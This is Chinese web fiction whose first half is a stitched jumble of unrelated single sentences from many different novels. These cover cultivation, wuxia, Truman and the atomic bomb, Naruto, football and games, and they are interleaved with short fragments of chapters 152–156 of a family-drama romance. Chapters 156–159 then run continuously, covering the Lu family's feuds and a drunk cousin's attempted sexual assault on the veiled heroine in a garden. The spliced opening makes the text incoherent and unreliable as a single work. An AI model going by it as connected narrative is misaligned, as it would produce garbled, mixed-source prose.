但独孤剑是个对剑比对人还好的家伙,既然看中了步惊云的剑术天赋肯将圣灵剑法传授,那么断然不会藏起什么剑二十三。可步惊云却从未学过,这到底是因为独孤剑心性变了藏起一手,还是说有其他的原因呢? “核武器,原子弹!混蛋,为什么我们之前没有得到任何的消息?为什么?”刚刚接任美帝总统的哈里·杜鲁门咆哮着。 而就在黄玄灵和冯剑锋两人脚踏极品法器飞向东平城的时候,后面又有三道遁光从地上飞起,远远地吊在黄玄灵二人的身后。 “刘志,过来拔箭包扎一番,管护卫,那马车之上又是何人?”罗宁微微颔首招呼同伴一声,便手指前方那辆已被截停的马车问道。 不过,虽然是答应了,但主动权依旧掌握在叶寒手中,兑现承诺是必然,至于何时兑现,那就是他说了算了。 可杨曦竟不躲避,依旧保持在原来的位置,一脸笑容的盯着叶寒,满脸的得逞和不怀好意。 中年男人名叫查理贝斯,正是贝斯家族的一员,也是钱粮院的上层领导之一。本来贝斯家就与身处内卫一方的达瑞盖亚政见不和,现在一听守备团的人前来闹事,顿时火冒三丈高。 “多谢先生,那便一道入城。”杨定笑道,管亥也是连连点头,说起来飞燕军这正副统领是最为互补的,管亥的任何疏漏之处他都能及时加以弥补,按肖毅的话就是黄金搭档。 如今米颚已经发下血誓认他为主,如此强援放着不用岂不可惜,所以他出现在米颚的旁边也是为了让米颚分担一点压力。 酒店里的这间房,连夜已经居住了近一周了,并不会出现什么疏虞。。 来自第二真祖‘毁灭之瞳’势力的伊布里斯贝尔王子,作为吸血鬼真祖稍有的直系血裔,就足以说明这位王子的强大之处了。 张雪不停的想着,越想越觉得恐惧,害怕她穿到了清末民初,又害拍被人当成妖物烧死。就这样,张雪在极度的害怕中,不知不觉的耷拉下了眼皮,模糊间梦见她似乎又回到现代了,而穿越到清朝只是一场虚幻的梦镜。 有了身体的亲密,夕言也就变得坦许多,而且刚刚遭逢生死大事过一关的他心态自然又有不同。 眼下离境三人便是遇上了这种尴尬事情。阵中那两人没有半点急切的样子,其中一个甚至抱了双臂像在看戏,另一个则满是好奇地四下打量着阵势,难道是想要破阵? 夕言眼前一亮,纪新雨今日打扮比在青溢谷中遇上他时好太多,一身绣纹缎面绵袍衬得他‘玉’树临风身姿俊雅;眉宇间的沉稳更显出其修为不凡,难怪都说此人少年英才是引舟难得的后起之秀,果真有道理。 第152章 真是疯了 宁穗也不知道为什么陆勋之会突然出现。 看到她的脸时,她本能地想要逃开。 但是人群涌过来,她根本没有空间躲避。 在别人看来,陆勋之搂着她的腰,就像是小情侣。 甚至有人起哄挤着他们走。 艾伦曾听镇上上了年纪的人说过,以前倍雅虽然也经常下雨,但也不像现在这个样子,每个月只有零碎的几天晴天。没人记得是从什么时候开始的,好像是十几年前的某一天吧,突然就变成了这样,也没人知道为什么。 白云志拳头紧握,被气的浑身发颤。他何时受过这等气,举起拳头打在离他最近混混的脸上,一拳下去,当场就没再站起来,倒在地上一动不动。 地师将单位测量出来的水沫的重量用来衡量一个地区的龙气含量,这种测量地理轻重的方法也叫称龙涎,结果测量出来在这京杭地区,德详里的龙气含为最重,也就是灵气含量最大。 而事实上,就在刚刚所有人都在溜号的时候,天帝和轩辕三丰已经对攻了数十招。 “嗨!我要不乐意试,还会躺在这里吗?”秦湖没好气地反问道。 亚瑟感受到了弗雷眼中的敌意,拍着翅膀挡在了老奥德里安身前,还抬头嘶鸣了一声。 禅痴虽然一直在保自己性命安全,但他毕竟是天音寺的人,最关键的时刻,或许会跟天音寺反目,但绝不会对天音寺的众人痛下杀手。 他在拳法上的造诣得有多深?貌似就算百里派的百步神拳也有所不如。 “不可能!”秦翰顿时大惊,当初卖他白狼的那人曾经说过,当今修炼门派,除非是各派宗主亲临,否则的话他这头白狼便是举世无敌。 肖遥高声喝道,话音落下时,一个骑着火眼金睛兽的魁梧男子已经出现在了他的身边。 “苏局长,请问超自然灾害处理局这些年处理了多少危机?”一个记者首先被‘选中’,然后提出了问题。 法依道夫的军队很疑惑地看着往他们靠近的蒸汽坦克,真奇怪,这东西的模样和帝国的那八辆蒸汽坦克没有任何相似之处,也和毁掉的那四辆没有任何联系。 按理说,三楼不至于摔成这样。问题是白蓝依的公寓是复式的,每一层挑高都比平层住宅高,所以她的三楼,相当于五层左右。 如果说这都能够活下来的话,那么就需要DC为10+伤害的强韧豁免,否则还是会死。 白蓝依心头一热。她都不知道,自己睡着了还有这么可爱的样子。 所以也有着劈砍的功能,借助身体旋转所带来的力量,精钢刺刀也是能够将一个没有穿任何护甲的混沌战獒给劈成两半。 所有人都跳了,就他没跳,想到接下来除了他之外所有人都将变成局里面的笑柄,他顿时感觉自己充满了优越感。 可现在他们已经知道了超自然力量到底有多么强大和恐怖,那么面对这种强大和恐怖,他们这一刻的恐惧是不受控制的开始疯狂滋生,蔓延,充斥在中极城每一个角落里面。 没有一个黑暗灵族想要得罪血伶人,他们可是自己死亡以后唯一的保险,全靠他们那怪异的手术和技术让自己能够起死回生。 第153章 你女朋友不跟你一起住? 敲门声一下下敲在陆勋之的额间神经上,咚咚咚,他的头都快要炸了。 他猛地起身,带着浓重的起床气,猛地打开门。 “不过,我想请你们帮个忙,可以吗?”先生犹豫了一下,开口,他的眼神中带有祈求。 这一次变大的白飞飞,一点也不是她印象里那个白飞飞,这跟在朱雀森林见到的白飞飞,应该是同等情况。 张天师微微一笑点头,为席祯号脉沉吟道:“少侠近日得脱大险,可喜可贺。以少侠资质,当世也恐无几人能够如此重伤与你,为何又……”张天师欲言又止。 趁着吃饭的一家三口齐聚一桌,炎真装模做样地拿出了七门科目的考试成绩。 你说佐助他不想吃么,他也想吃,但可以克制住自己,鸣人也能克制住自己,但在得到允许之后就控制不住了,能看出来,似乎并没有人教导鸣人在吃饭的时候应该注意的礼仪。 席祯喃喃自语喊着晴妹,捧起胸前的那张脸,他看到那张脸上写满了幸福感。不知不觉便吻了下去。这一吻,如狂风暴雨霸道,又如春雨如丝般轻柔滋润。他哪里知道,此时俞英正流着泪,迎合着那狂风骤雨。 “好了,凤……凤儿,你去备点酒菜,今夜我们一起共饮,裴云你跟我走一趟。”席祯吩咐这两件事之后,几乎是像逃一样离开了前院儿。 艾野一边对樱落回应着,一边将灵力汇聚到了自己紧握起来的右手之上,一道淡金色的光圈,顺应着艾野灵力的汇集从手腕上浮现了出来。 擂台上的花翎从容淡定,面对对手的挑衅他似不放在心上,拿出自己的武器,苏千洛给他拍卖得来的扇子。 “那请问又该是如何综合判断?”席祯和韩三童异口同声地问道。 看着胸前的软玉在怀,杨奇也是轻轻的抱住唐影儿,此时的眼里充满了无限的柔情与坚定。 而如果莫甘娜是中单,那么锐雯作为上单应该是的了,然后让蒙多去辅助复仇之矛……蒙多的q技能减配合卡莉斯塔,似乎也还不错。 前方,当太平军将士们在各地浴血奋战之时,这些人却在加速地腐化堕落。自天王洪秀全至东、北、翼三王,都在天京建造了华丽的王府。 他也知道魔兽潮首领肯定是奉命在这个第三关等着,来阻挡他们前进的,现在魔兽首领同意让他们继续往前走就已经觉得非常的好了。 安逸宸这一次拿着剑,身体凌空飞起时飞得更高更大气,镜头里的感觉更好。 然而,不等嘴角的冷笑成型,他们的神情便瞬间定格,成为了愕然。 众人看着眼前的各种异动虽然有些紧张,但是看到并没有攻击众人的机关开启,心里也是稍稍安定了一些。此时屋里极为安静,不知哪里又突然发出了“滴答、滴答”类似于滴水的声音。 “哈哈!你说的薛府已经被皇上抄家灭族了!现在只有张府!”门卫得意洋洋说道。 “玄燕,李泉,你们两个什么意思,嫂子被围了,你们是打算袖手旁观不成?”张帆看着二人“狼狈为奸”的模样,登时怒声说道。 第154章 你撒谎 陆闻之缓步走向前,腿脚丝毫没有不方便的样子。 看到了这一堵城墙,只见这名修者只手一挥,在身前随即画出了一条璀璨光线。 来到了暮大陆之后,萧霆深虽然势力也相当不错,但是因为在修炼方面的天赋并比不上姜云绾,所以实力一直都不如姜云绾来的强悍。所以,有些时候,萧霆深在姜云绾面前,反而是处于一种弱势的状态。 她为什么要和萧晋一起去京城?两人之间又为什么会那么亲密?之前不还表现的只是好朋友一样嘛,难道今天下午在二号别院里发生了什么了不得的事情? 陈丽婷的裙子。简直太艳丽了,黑丝大腿在花点的裙子映衬下,显得更加的动人。 如果他的仇敌也以此方法追踪自己,届时他的处境,将会无比危险。 就在这中军大帐当中,韩林面色凝重,已经说完了自己该说的话语。 原来,在韩林就要灭杀廖星的时候,果然是这第二关内的多目一族老祖,出手救走了廖星!而且当时若不是他匆忙中误以为韩林是他们多目一族的弟子,或者顺手就对韩林下了狠辣杀招了。 “也就是说,血沙老早就怀疑,原先在鲛人族的北水珠有蹊跷?”姜云绾皱起了眉头,觉得血沙的感觉实在是敏锐。 “就你这副急样子,我要是再在这儿吃早饭,你会不会一把火把这儿给点了?”萧晋笑问。 焚胡灵已经失去了耐心,她现在已经将卷轴给收了起来,脸上的笑容也已经渐渐散去。 “坐稳了,这老家伙动力足!”胡喜喜说完,一踩油门,老奥迪便如同离弦的箭,呜一声出了医院的绿化道。 轻挑纱帘,宝儿望着齐国皇宫巍峨古朴的建筑,奢华的布置装饰,眸子微眯,不屑的勾了勾唇角。想当年,梁国皇宫精致的雕梁画栋哪里逊色齐国分毫,只是心中惆怅,望着这里奢华的一切,入眼全是讽刺而已。 三太公气得浑身发抖,举起手中的拐杖,便敲落胡广弘的头上,力度不大,但被三太公敲打,传出去他什么脸面都没有了,然而三太公是权威,谁敢挑战三太公?他只得端正神情,一副聆听受教的模样。 云枫沉声不语,高级三星放眼这个制药院的学生只有一人,想来这人所在的帝国也是高人一等。 这个消息把安福从一直以来的伤感中拯救出来,他把北平的军政交给苏定方刘黑闼打理,率兵返回了洛阳,一路上归心似箭,只用了七八日就飞马赶回了洛阳。 “请问……”云枫尝试着要和一个村民说话,却没想到村民见到她走过来竟然夺路而逃,神情带着慌张和畏惧。 云枫扬眸,其实情况她并非不曾考虑过,龙族生存时间如此之久,所知秘闻远比人类,龙族的一切还很神秘,更何况火系地图碎片之一出自龙族之手,极有可能火系之种就存放在这埋骨之处里。 电视里陆雪晴闪躲记者的画面。是如此的尴尬。狼狈。韩妙妙突然之间想到了自己当初闹绯闻的时候那种惊慌和无助。 第155章 他不愿意承认宁穗死了 宁穗倏地捂住自己的脸,“不要!” 陆勋之在镜子里盯着她,但手也没有进一步动作。 宁穗缓了缓,抬眼迎上他审视的视线。 她心跳在耳鼓上震动,整个人微微发抖。 “我脸不好看,怕恶心到你。” 宁穗的话一出,陆勋之的眉心皱了皱。 理智稍稍回笼,他也不知道自己怎么了。 为什么这么执着于这个女人的长相。 凌景没有再说下去,但璃雾昕却已经明白了他想说下去的话,对着凌景,笑得阳光明媚。 这一个个惊喜让穆厉延心底忍不住涌起巨大的喜悦,他用手抬起舒凝的下巴,也不问怎么这么突然深情表白了,二话不说俯身吻下,他是行动派,想吻就吻,现在这就是他最想干的事,如果手没受伤,估计他想干的更多。 一路赶回到王府后,冷月这脸上的表情就没舒展过,拧巴的一张俏脸跟什么似的,对封柒夜视而不见,直直走回了自己的清雅苑。 凛珺蝶的手上,捧着一本烫红的字帖,见璃雾昕怔忡的模样,解释道:“先前的帖子不过是入庄的凭证,而这张帖子,才是武林大会的真正邀请。”眼波流转间,脸上清浅的笑容显得极为温润柔和。 大牛起身对岳飞行了一个大礼,岳飞赶忙将他扶起。岳飞准备今晚宴会之时就宣布岳飞加入岳家军的决定。 “来,龙哥,我敬你一杯,算赔罪。”琪姐弯腰拿起酒杯,在她弯腰的同时,一大片雪白几乎露出了出来,简直是让人窒息。 顾恋走进吉大鹏造型中心,里面比上次空荡荡了许多,就几个工作人员在场,不时跑来跑去。除了吉大鹏,其他人都一副忙忙碌碌的样子,电话不停。 靖安城对于周围梅兰竹菊四座山峰的将近两百家门派,数十万修真者来说,也是一个避难的地方,也是一个消遣时间,打发无聊的场所。 舒凝不想曲韦恩担心,最终还是逼着自己吃了东西,可她心里难受,看着病床上的父亲,再想着刚才曲韦恩的话,到底是不是穆老爷子动的手? 回忆古音一连串的步骤,首先是以林无忧和自身为饵,引得天劫爆发,给诸位宗师戴上锁套;接着便是在事态生变后,果断下手,以一种李珣尚不明白的方式,接引天地劫煞,具备了旁人不可揣度的大神通。 “喂,叔叔。”莫溪刚跑到尹南飞边上,就看见尹南飞拿着手铐要将尹老爷子铐起来,她一头雾水的喊了尹南飞一声。 军帐里只剩下东方道长和沙渡天二人,沙渡天不可思议的看着东方道长问道:“你是我老乡?”他简直不敢相信在这里还能碰到同乡人,不免有些激动,又有些疑惑。 他虽说不是个正人君子,但趁人之危占人便宜夺人贞‘操’的事他还是做不来的。 拉齐奥队攻得十分凶猛,压着对手狂轰烂炸,不过看上去不错实际效果却并不是理想,上半场接近尾声依然只领先一个球。伤停补时阶段,梅西纳队终于抓住反击机会由本土前锋迪纳波利打入扳平比分的一球。 舆论社区评论瞬间轰炸了,水军也罢,游人也吧,已经深深的影响了李静儿的日常生活了。 飞机在毛夷岛的上空略一盘旋之后,就在机场上降落,王一恒一下机,就有当地的海关人员请他去办手续,王一恒这样的超级大亨,在办手续时,也比常人享受到更多的方便。 第156章 你居然敢惹她? 这话说得毫不留情面,陆闻之轻轻拍了拍宁穗的手,以示安慰,抬眼看向陆凛之,“小瑜以后是你的嫂子,你还是管管自己的嘴。” 他说话温温柔柔的,对于陆凛之这种在家里横惯了的人,根本没有打击力。 这几年,陆勋之先是昏迷了两年,后来好不容易醒来,心思又都在找宁穗上。 公司里的事,根本不管,反倒是陆凛之,这几年拼了命一样表现,愣是让陆老爷子给推上了总裁的位置。 现在的陆凛之,怎么可能被一个瘸子压一头。 更何况,他自己那条腿是被陆勋之给废的。 他不能怎么样陆勋之,一肚子怨气都撒在陆闻之身上。 他痞笑一声,随手端起桌上的茶水走过去。 “对不起咯,我跟——嫂子,道歉。” 下一秒,哗啦! 茶水全数倒在陆闻之的腿上。 滚烫的水瞬间浸湿了陆闻之的裤子,还冒着热气。 “你干什么!”宁穗一把推开陆凛之,后者没防备,没站稳,趔趄了两步,坐了个屁股蹲。 疼得他龇牙咧嘴。 反倒是陆闻之,脸色黑沉沉的,没任何反应。 宁穗伸手去扯陆闻之的裤管,滚烫的触感,宁穗急了,“快去换件衣服,冷敷一下吧。” 陆凛之狰狞地看着两人,“急什么啊,嫂子,他的腿都没知觉的。无所谓的。哦,我都差点忘了,他下半身还行吗?结婚以后,你就守活寡了。生孩子要是需要帮忙,可以找我啊!” 宁穗隔着面纱死死瞪着陆凛之,眼底的怒火,被面纱遮掩。 她伸手去摸旁边的古董花瓶,手腕上一沉。 陆闻之冲她摇了摇头。 “你嘴这么臭,是刚吃过屎吗?”一道冷涔的声音划破了空气里的剑拔弩张。 宁穗一愣,顺着声音看过去。 陆勋之双手抄兜,领带垮垮挂在脖子上,看上去恣意又矜贵。 他路过宁穗和陆闻之,淡淡扫了一眼陆闻之的腿,视线落在他抓着宁穗手腕的动作上。 停顿了两秒,收回视线,走到客厅,择了一个单人沙发坐下。 居高临下地睨着陆凛之,毫不客气地上下扫了一眼,“怎么?你羡慕他的腿没知觉,也想体验体验?” 陆凛之瞳孔震动。 他的坏腿跟着抽了抽。 五年前,他让陆勋之自己给自己扎刀,后来他昏迷了两年。 本以为他就这个样子了。 跟该死的陆闻之一个样子。 可谁知道两年一过,他居然醒过来,第一件事,竟然去找陆凛之,用钛金的高尔夫球杆。 活生生打断了陆凛之的腿。 骨头都碎了,陆凛之被打得晕过去,疼醒,又晕过去。 来来回回好几遭。 陆凛之现在想起来,还浑身冷汗,应激一般,蹭着往后躲。 陆勋之现在无欲无求的,谁都不怕。 陆凛之打心眼里还是怕他。 看他怂怂的样子,陆勋之冷哼一声,十分不屑,余光扫了一眼宁穗。 “回房间换身衣服,别让奶奶看见,惹她不高兴。”这话是对陆闻之说的。 陆闻之点点头,宁穗推着他去了一楼的房间。 这是专门给陆闻之准备的,也是为了方便他的腿。 可推到门口,陆闻之便拦住宁穗,“我自己来吧。” 他眼神有些躲闪。 宁穗抿唇没多说什么,“好,你要是需要帮忙就叫我。” “好。” 门在跟前关上,宁穗靠在门板上,客厅那边的声音传来。 她听到陆勋之说:“你居然敢惹她?她急眼了差点把我戳瞎。” 宁穗一愣,转头看向客厅方向。 她这个角度,看不到陆凛之,但是能看到陆勋之半张侧脸。 他勾着唇角,看上去像是开玩笑,又像是嘲讽。 宁穗愣了愣,就在她怔愣的两秒钟内。 陆勋之突然斜看过来。 他眉梢微挑,眼底有些玩味。 好像抓包宁穗偷看他似的。 宁穗身形一僵,窘迫地转头看向别处。 陆勋之恹恹的收回目光,视线再次落在陆凛之身上。 他刚狼狈地爬起来,一身的戾气。 被陆勋之吓成这样,他也很恼。 可陆勋之根本没想放过他,一把薅住他的后领子,将人扯到跟前。 砰! 陆凛之那条好腿膝盖磕在地板上,发出闷响声。 随即耳边传来冷涔的警告声,“你要是再敢惹她,我就弄得你下半身失能。” 陆凛之浑身僵住,他本能以为陆勋之在为陆闻之出气。 谁都知道,这两兄弟感情好。 从小陆勋之就护着陆闻之。 陆凛之心里不爽,但真的不敢惹陆勋之。 他是真的做得出来。 陆凛之又气又恼,憋了半天,陆老爷子的声音这时候出现。 “成什么样子!” 两人同时看向门口。 陆老爷子身后站着高挑的乔若钰。 陆凛之的脸颊瞬间红了,羞得,他一把推开陆勋之,勉强起身,扯了扯衣角的褶皱。 “爷爷,我摔倒了,大哥扶了一下。”他咬着牙说。 可刚才两人的样子,明显是在吵架,甚至差点动手。 陆凛之明明吃亏的一方,却还是这样识大体,护住陆家对外的面子。 陆老爷子心还是偏了,语气不太好地对陆勋之说:“你是当哥哥的,要有个当哥的样子。” 陆勋之却无所谓地往椅背上一靠,“是,那您给我安排的对象,我还是让给他吧,我看他更感兴趣。” 还得是陆勋之,一句话,把在场的三个人都得罪了。 陆凛之眼底倒是闪过一丝侥幸,偷偷观察老头子和乔若钰。 老头子脸黑得像锅底,乔若钰垂着眸子,嘴角淡淡勾着,仿若没听到。 这样子显然是不同意的。 陆凛之的腿又疼了几分。 要是这条腿坏了,他还有什么比不上陆勋之。 乔若钰本来就应该先选他。 都是陆勋之毁了他。 越想越气,陆凛之余光瞥见站在光线暗处戴着面纱的女人。 更不爽了,这口气,他一定要找个出口才行。 怪不得他了,谁让陆闻之和那个女人,是陆勋之的人呢。 陆凛之扯唇笑笑,似是不在意陆勋之的侮辱,“爷爷,比起大哥,二哥好像先定下来了,今天带了女朋友过来见家长。他俩还挺般配的。” 一个烂脸见不得人,一个下半身失能的残废。 可听到般配两个字,陆勋之的脸黑了几分。 不知道为什么,他很不爽。 第157章 好,听你的 陆闻之来之前已经跟陆老爷子打过招呼。 说是要带自己的女朋友过来,见见家长。 没细说,但是提了一句,女朋友脸上不方便,要戴面纱。 陆老爷子本来是不同意的。 就算陆闻之腿脚不方便,但想找个外形还不错的女孩子,也不是什么难事。 毕竟陆家的地位在那摆着,就算是以联姻为目的,虽不能强强联合,但是在不如陆家的世家女孩里,陆闻之也是随便挑的。 何必要委屈自己找个脸都不方便见人的女人? 陆凛之这么一说,尤其是还当着乔若钰这个外人,显得陆闻之更加没面子。 孩子没面子,就是丢他这个长辈的脸。 陆老爷子有点生气,冷冷瞪了陆凛之一眼,“你大哥说的对,你确实该管管自己的嘴了。” 这句话直接打脸陆凛之。 几分钟内,他丢了好几次脸。 陆凛之噎住,下意识地看了一眼乔若钰,对方依旧垂着眸子,事不关己。 可他还是不爽到了极点,转身离开了客厅。 陆老爷子带着乔若钰在客厅坐下。 乔若钰这才抬眼,第一次看向陆勋之。 却发现他斜睨着另一个方向。 她好奇地顺着看过去,发现角落里的房间门口,陆凛之好像在跟一个女人说话。 那女人戴着面纱,看不到脸,但是身板挺得笔直,看上去不卑不亢。 “嫂子,你知道你是在往火坑里跳吗?”陆凛之毒舌一样吐着信子,让人浑身发毛。 但宁穗只隔着面纱冷冷看着他,什么话都没说。 陆凛之一拳打在棉花上,那种不爽的感觉更旺盛了一些,“啧,陆闻之瘫了好多年了,而且中间还植物人过一段时间,他是不是已经不行了?” 这话说得下作又越界。 宁穗冷冷看着他,“你自己也没好到哪儿去。” 说着,她还扫了一眼陆凛之那条坏腿。 陆凛之瞬间炸毛,“你踏马找死!” 他手都伸到半空,宁穗淡声说:“你哥,还有你爷爷都看着呢。还有那位女士,你喜欢她吧?要是被她看到你是这种人,她更要选陆勋之了。好在陆勋之还不会对女人动手。” 宁穗的语速很快,声音很低。 陆凛之愣住,倏地看向身后。 客厅里的两双眼睛果然都看着这边。 他慌乱地收起手,攥成了拳,冷哼一声,威胁地瞪了宁穗一眼,一瘸一拐地离开。 看着他刻意走得平稳一些的蹩脚样子,宁穗心里冷笑,不动声色地看向客厅里的女人。 宁穗的视线过来,冷不丁与自己对上,乔若钰顿了一些,有些尴尬,但还是礼貌笑笑,点了点头。 隔着面纱她看不清宁穗的面容。 但对方显然没有跟她打招呼的意思,连头都没点。 她心里有些怪异,总觉得宁穗对她有些敌意。 乔若钰下意识地看向陆勋之,男人仍旧盯着那边。 她愣了一下,心里莫名其妙冒出一个可怕的想法。 她怔怔看着陆勋之,冷不丁男人收回视线与她对上目光。 被她抓个正着,陆勋之似乎没有任何羞愧和尴尬,十分坦然地看了她一眼。 仿佛她就是个陌生人。 她的喜怒哀乐,根本不在陆勋之的考虑范围之内。 乔若钰很不舒服,手指缓缓蜷缩起来。 到了饭点,一屋子人都等着陆老太太。 宁穗和陆闻之在角落里一个地方,完全降低了存在感。 陆老太太出来,宁穗抬头看过去。 这几年她明显老了很多,也瘦了一些,但精神看上去还不错。 昏老的视线扫过所有的子孙,在看到陆闻之和宁穗的时候,微微顿了顿。 但也只是和蔼地笑了笑,并没有像其他人那样投来鄙夷和异样的目光。 宁穗心里有了一丝温暖。 家里一群人入座。 陆勋之和陆凛之分别坐在老爷子左右,甚至超过了二房三房那边的长辈。 这几年都是这样,老爷子虽然打压陆勋之,但是在家里给的重视一点都没少。 其他人不爽,但也没办法。 现在陆家还是老爷子说了算。 大家心里都清楚,这是在跟所有人说,他眼里陆勋之和陆凛之他都重视。 但是更偏爱哪个,他不说。 就看两人斗到最后,谁能赢。 二房那边就一个陆治之,已经从医,根本不抢家产。 三房那边除了陆凛之,其他人也都是草包。 但三房也跟着陆凛之鸡犬升天。 郑美婵这几年不在国内,三婶这两年,明显有点当家做女主人的意思。 热情的张罗,还给坐在陆勋之身旁的乔若钰夹菜,“乔小姐,不知道你喜欢吃什么口味,不喜欢随时跟我说啊。” 俨然一副将乔若钰当自己的孩子的长辈。 乔若钰很得体地说谢谢。 陆勋之在一旁冷哼一声,“三婶,要不,你跟她换换位置得了。” 三婶笑容一僵,她就坐在陆凛之旁边,跟乔若钰换了,那乔若钰不就坐在陆凛之这边了? 司马昭之心路人皆知。 三婶尴尬的扯唇笑笑,“那不合适。” “有什么不合适的?”陆勋之语气随意,“他不就喜欢抢别人的东西?” 说着,他看向三房那边的陆垚,“是吗?阿垚。” 陆垚是三房收养的孩子,说白了就是陆凛之的跟班。 之前谈了一个女朋友,感情不错,但是被陆凛之搅和黄了。 他喝多了之后差点强了人家,姑娘害怕,远走他乡,跟陆垚掰了。 陆垚一张扑克脸,像个木头人,“大哥您说笑了,这个家里的东西都是您几位哥哥的。” 这话听上去没什么毛病,但明显是被欺负狠了,没招了而已。 陆勋之哼笑一声,斜睨着乔若钰,“一会儿我单独给你讲讲陆凛之的光荣史。” 乔若钰迎上陆勋之的视线,对方嘴角笑着,明眸皓齿,好看得很。 但眼底一片冰冷,拒人千里之外。 乔若钰知道他跟陆凛之之间暗流涌动,这是故意在跟她装恩爱。 在别人看来,就是陆凛之要抢她,陆勋之护食。 但乔若钰自己知道,不是这么回事。 即便这样,她还是很配合,温婉笑着点头,“好,听你的。”乖顺得很。 陆勋之不甚在意地收回视线,不经意间落在桌尾的宁穗脸上。 她乖乖巧巧地在吃饭,旁边的陆闻之在给她剥虾,两人恩爱的仿佛感知不到这边的暗流。 般配的,让人很不爽。 乔若钰觉察到他眼神的变化,顺着他的视线看过去,又是那个戴着面纱的女人。 她面无表情地垂下了眸子。 第158章 关了灯都一样 陆勋之下陆凛之的面子,全程老爷子和老太太都没说话。 显然是在纵容陆勋之。 这让陆凛之更不爽。 现在他们对陆勋之是明压暗挺。 反倒显得他像个小丑。 陆凛之喝了不少酒。 吃完饭,陆老太太明显有些累,但是这个场面,本来就是为了她聚到一起的,现在离场有点不合适。 陆闻之跟宁穗交换了一下眼神,她推着陆闻之上前。 “奶奶,您头不舒服吗?”陆闻之语气温和,让人听着特别舒服,“小瑜会按摩,要不给您按按?” 其他人都在那边聊天,老太太在花厅这边倒是安静,她看向宁穗,笑着点点头,“那就辛苦你了小瑜。” 宁穗笑着点头上前,站在老太太身后,帮她按了按。 以前宁穗就给老太太按过,那时候为了陆勋之,她一直想着法子哄老人家开心。 所以她非常清楚老太太的痛点是什么,只不过手法稍微变了变,没让她认出来。 老太太很舒服,闭着眼睛,嘴角都微微勾起来,很是满意,“真是好孩子。” 不远处客厅里,陆勋之将这一幕看在眼里,眼睛微微眯起,审视着站在老太太身后的身影。 一旁的乔若钰不动声色地观察着他,嘴角弯起很淡的冷意。 陆闻之怕宁穗闷得慌,让她去后花园转,透透气。 花园里变化不大,还是那个老样子,她有种穿梭到过去的错觉。 想当初,她也曾经想在这个家里有一席之地。 现在也一样,但心境完全不同。 她愣神之际,腰上突然一紧,人被拉进一个满是酒气的怀抱。 迎上陆凛之狰狞的笑容,宁穗心里一紧。 “小嫂子,虽然你长得不好看。”他的手,恶劣地在宁穗的腰上游走,“但是身材不错,关了灯都一样。” 说着,就将她拖向假山那边。 宁穗心口一滞,那个假山后边有个山洞,刚跟陆勋之结婚的时候,他那时候最荒唐,拉着她在那个山洞里…… 宁穗想喊,嘴巴倏地被捂着,只能发出呜呜声。 这里离着主楼有段距离,现在那边灯火通明,根本没人注意这边。 陆凛之喝了酒,用的都是蛮力,宁穗快要被他扯碎了。 余光瞥见一个身影一晃而过,明显是看见她这边的情况,宁穗疯狂地踢打,发出一些声响。 那人顿了一下脚步,匆匆离开。 宁穗的心里咯噔一声,她快速查看周围,想要扒住什么,但偏偏只抓了几把叶子。 一月初的天气阴湿得很,假山洞口的石头上覆了一层水汽,十分湿滑。 宁穗扒都扒不住。 眼看就要被抓紧山洞里,宁穗突然松手,猛地往后撞。 陆凛之被惯性带着,后背重重撞在墙壁上,疼得他五官皱在一起,手上的力气微微松动。 宁穗趁机撤开,转身拿起地上的碎石块,狠狠砸在他的坏腿上。 陆凛之被打急了眼,猛地抓住宁穗的手腕,将人往跟前扯。 宁穗抬脚踹他的膝盖,陆凛之趔趄了两步,摔倒在地。 “你们在干什么?”男人冷涔的声音落下来。 宁穗浑身一僵,猛然转头,看到一个高大的身影背光站在洞口。 她一眼就认出了是陆勋之。 “他欺负我!” “她勾.引我!” 宁穗和陆凛之的声音同时响起。 “嗤。”陆勋之哼笑一声,闲散地往洞口墙壁上一靠。 仿若看好戏一样。 宁穗心口堵得慌,但现在她压着陆凛之的样子,的确像是她在勾陆凛之。 这是在陆家,她就算是有一千张嘴也说不清。 宁穗恍惚间,一个力道抓住她的手腕,将人轻松拎起来。 “还压着他,不嫌脏?”陆勋之语气嫌恶。 不等宁穗反应过来,陆勋之倏地抬腿,一脚踹下去,陆凛之无声张大嘴巴,捂着两腿之间,都快翻白眼了。 宁穗愣住,怔怔看向陆勋之,“你……” 陆勋之扯唇笑,“你不想?” 她当然想,她早就想了。 可是这是在陆家,就算是陆凛之欺负她在先,但她也要顾着陆家的面子。 踹腿和踹那儿,还是有点差别的。 “我帮了你,你还不谢谢我?”陆勋之胡搅蛮缠。 宁穗有些气,“你是想泄私愤,别往我身上推。” 陆勋之迈步向她靠近,他身上带着淡淡的香味和热气,将山洞里潮湿难闻的气氛一下子驱散。 “你想勾他,他不从,就被你差点断了子孙。”陆勋之像是在陈述一件事。 宁穗傻眼了,“你在胡说八道什么!” “对啊,我是在胡说八道。” 他就那么承认了,给宁穗整不会了。 “我说什么就是什么。就算老头子知道是我踹的,他也会顺势推在你身上。你以为陆垚的女朋友是自己想走的吗?能攀上陆家,即便陆垚是收养的,也是姓陆,享受不完的荣华富贵。为什么要走?更何况陆垚爱她爱得要死。” “可是老头子不允许。哪个女人要是挑拨了陆家兄弟的关系,都得滚蛋。你觉得老头子要是出手,陆闻之还能护住你吗?” “呵,这老头子只爱自己的面子。我当着他的面,打碎了陆凛之的腿,他都没说一句。因为在外人面前,陆家不能内斗。” 陆勋之语速慢悠悠的,可说的每句话,都让宁穗背后生寒。 生理性的泪水涌上来,即便隔着面纱,陆勋之也看到了晶晶亮。 他的心里莫名其妙地有些舒服。 他故意这么逗她,将人逗哭了,他却觉得很有意思。 他恶劣的扯唇笑笑,低头凑到宁穗耳边,“怕了?怕就自己离开陆闻之。今晚的事,我会帮你善后。” 宁穗胸口剧烈起伏,突然迎上陆勋之的视线,“你又在怕什么?为什么非要我离开?” 陆勋之一愣,为什么? 他也不知道,就是看到她围着陆闻之转,心里不爽,非常不爽。 这种心思被人戳破的时候,他也恼羞成怒,忽地站直身体,转身走出了山洞。 陆凛之腾云过去了,宁穗深呼吸了几息,打通了陆闻之的电话。 “没事,我来处理。”陆闻之语气温和,给人安定感。 宁穗乱糟糟的心缓下来。 “你现在从小门出去,我安排人送你回馨园别院。” 宁穗按照陆闻之说的,走出了陆家老宅的小门,门口停着一辆车,她拉开车门上车。 后座上一尊大佛坐在她,吓了她一跳。 第159章 何必觊觎别人的女人? 宁穗捂住嘴才没叫出声。 陆勋之闭着眼靠在椅背上,淡声开口,“开车。” 宁穗去拉车门,“我不坐你的车。” 陆勋之的声音幽幽传来,“你还想不明白吗?刚才的话都白说了?我承认你,老头子就会承认你。这么说懂了吗?” 